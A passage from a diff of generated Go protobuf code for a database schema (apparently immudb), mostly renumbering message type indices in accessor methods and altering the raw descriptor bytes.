*SetActiveUserRequest) GetActive() bool { @@ -7142,7 +7284,7 @@ type DatabaseListResponse struct { func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7155,7 +7297,7 @@ func (x *DatabaseListResponse) String() string { func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7168,7 +7310,7 @@ func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{99} + return file_schema_proto_rawDescGZIP(), []int{101} } func (x *DatabaseListResponse) GetDatabases() []*Database { @@ -7187,7 +7329,7 @@ type DatabaseListRequestV2 struct { func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7200,7 +7342,7 @@ func (x *DatabaseListRequestV2) String() string { func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7213,7 +7355,7 @@ func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{100} + return file_schema_proto_rawDescGZIP(), []int{102} } type DatabaseListResponseV2 struct { @@ -7228,7 +7370,7 @@ type DatabaseListResponseV2 struct { func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7241,7 +7383,7 @@ func (x *DatabaseListResponseV2) String() string { func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7254,7 +7396,7 @@ func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{101} + return file_schema_proto_rawDescGZIP(), []int{103} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseWithSettings { @@ -7280,7 +7422,7 @@ type DatabaseWithSettings struct { func (x *DatabaseWithSettings) Reset() { *x = DatabaseWithSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7293,7 +7435,7 @@ func (x *DatabaseWithSettings) String() string { func (*DatabaseWithSettings) ProtoMessage() {} func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7306,7 +7448,7 @@ func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseWithSettings.ProtoReflect.Descriptor instead. func (*DatabaseWithSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{102} + return file_schema_proto_rawDescGZIP(), []int{104} } func (x *DatabaseWithSettings) GetName() string { @@ -7342,7 +7484,7 @@ type Chunk struct { func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7355,7 +7497,7 @@ func (x *Chunk) String() string { func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7368,7 +7510,7 @@ func (x *Chunk) ProtoReflect() protoreflect.Message { // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{103} + return file_schema_proto_rawDescGZIP(), []int{105} } func (x *Chunk) GetContent() []byte { @@ -7397,7 +7539,7 @@ type UseSnapshotRequest struct { func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7410,7 +7552,7 @@ func (x *UseSnapshotRequest) String() string { func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7423,7 +7565,7 @@ func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{104} + return file_schema_proto_rawDescGZIP(), []int{106} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { @@ -7456,7 +7598,7 @@ type SQLExecRequest struct { func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7469,7 +7611,7 @@ func (x *SQLExecRequest) String() string { func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7482,7 +7624,7 @@ func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{105} + return file_schema_proto_rawDescGZIP(), []int{107} } func (x *SQLExecRequest) GetSql() string { @@ -7522,7 +7664,7 @@ type SQLQueryRequest struct { func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7535,7 +7677,7 @@ func (x *SQLQueryRequest) String() string { func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7548,7 +7690,7 @@ func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{106} + return file_schema_proto_rawDescGZIP(), []int{108} } func (x *SQLQueryRequest) GetSql() string { @@ -7586,7 +7728,7 @@ type NamedParam struct { func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7599,7 +7741,7 @@ func (x *NamedParam) String() string { func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7612,7 +7754,7 @@ func (x *NamedParam) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{107} + return file_schema_proto_rawDescGZIP(), []int{109} } func (x *NamedParam) GetName() string { @@ -7643,7 +7785,7 @@ type SQLExecResult struct { func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7656,7 +7798,7 @@ func (x *SQLExecResult) String() string { func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7669,7 +7811,7 @@ func (x *SQLExecResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{108} + return file_schema_proto_rawDescGZIP(), []int{110} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { @@ -7704,7 +7846,7 @@ type CommittedSQLTx struct { func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7717,7 +7859,7 @@ func (x *CommittedSQLTx) String() string { func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7730,7 +7872,7 @@ func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{109} + return file_schema_proto_rawDescGZIP(), []int{111} } func (x *CommittedSQLTx) GetHeader() *TxHeader { @@ -7775,7 +7917,7 @@ type SQLQueryResult struct { func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7788,7 +7930,7 @@ func (x *SQLQueryResult) String() string { func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7801,7 +7943,7 @@ func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{110} + return file_schema_proto_rawDescGZIP(), []int{112} } func (x *SQLQueryResult) GetColumns() []*Column { @@ -7832,7 +7974,7 @@ type Column struct { func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7845,7 +7987,7 @@ func (x *Column) String() string { func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7858,7 +8000,7 @@ func (x *Column) ProtoReflect() protoreflect.Message { // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{111} + return file_schema_proto_rawDescGZIP(), []int{113} } func (x *Column) GetName() string { @@ -7889,7 +8031,7 @@ type Row struct { func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7902,7 +8044,7 @@ func (x *Row) String() string { func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7915,7 +8057,7 @@ func (x *Row) ProtoReflect() protoreflect.Message { // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{112} + return file_schema_proto_rawDescGZIP(), []int{114} } func (x *Row) GetColumns() []string { @@ -7952,7 +8094,7 @@ type SQLValue struct { func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7965,7 +8107,7 @@ func (x *SQLValue) String() string { func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7978,7 +8120,7 @@ func (x *SQLValue) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{113} + return file_schema_proto_rawDescGZIP(), []int{115} } func (m *SQLValue) GetValue() isSQLValue_Value { @@ -8102,7 +8244,7 @@ type NewTxRequest struct { func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8115,7 +8257,7 @@ func (x *NewTxRequest) String() string { func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8128,7 +8270,7 @@ func (x *NewTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{114} + return file_schema_proto_rawDescGZIP(), []int{116} } func (x *NewTxRequest) GetMode() TxMode { @@ -8171,7 +8313,7 @@ type NewTxResponse struct { func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8184,7 +8326,7 @@ func (x *NewTxResponse) String() string { func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8197,7 +8339,7 @@ func (x *NewTxResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{115} + return file_schema_proto_rawDescGZIP(), []int{117} } func (x *NewTxResponse) GetTransactionID() string { @@ -8221,7 +8363,7 @@ type ErrorInfo struct { func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8234,7 +8376,7 @@ func (x *ErrorInfo) String() string { func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8247,7 +8389,7 @@ func (x *ErrorInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{116} + return file_schema_proto_rawDescGZIP(), []int{118} } func (x *ErrorInfo) GetCode() string { @@ -8276,7 +8418,7 @@ type DebugInfo struct { func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8289,7 +8431,7 @@ func (x *DebugInfo) String() string { func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8302,7 +8444,7 @@ func (x *DebugInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{117} + return file_schema_proto_rawDescGZIP(), []int{119} } func (x *DebugInfo) GetStack() string { @@ -8324,7 +8466,7 @@ type RetryInfo struct { func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8337,7 +8479,7 @@ func (x *RetryInfo) String() string { func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8350,7 +8492,7 @@ func (x *RetryInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{118} + return file_schema_proto_rawDescGZIP(), []int{120} } func (x *RetryInfo) GetRetryDelay() int32 { @@ -8374,7 +8516,7 @@ type TruncateDatabaseRequest struct { func (x *TruncateDatabaseRequest) Reset() { *x = TruncateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8387,7 +8529,7 @@ func (x *TruncateDatabaseRequest) String() string { func (*TruncateDatabaseRequest) ProtoMessage() {} func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8400,7 +8542,7 @@ func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{119} + return file_schema_proto_rawDescGZIP(), []int{121} } func (x *TruncateDatabaseRequest) GetDatabase() string { @@ -8429,7 +8571,7 @@ type TruncateDatabaseResponse struct { func (x *TruncateDatabaseResponse) Reset() { *x = TruncateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8442,7 +8584,7 @@ func (x *TruncateDatabaseResponse) String() string { func (*TruncateDatabaseResponse) ProtoMessage() {} func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8455,7 +8597,7 @@ func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. func (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{120} + return file_schema_proto_rawDescGZIP(), []int{122} } func (x *TruncateDatabaseResponse) GetDatabase() string { @@ -8478,7 +8620,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8491,7 +8633,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8527,7 +8669,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[124] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8540,7 +8682,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[124] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8578,7 +8720,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[125] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8591,7 +8733,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[125] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8885,1399 +9027,1424 @@ var file_schema_proto_rawDesc = []byte{ 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, - 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, - 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, - 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, - 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 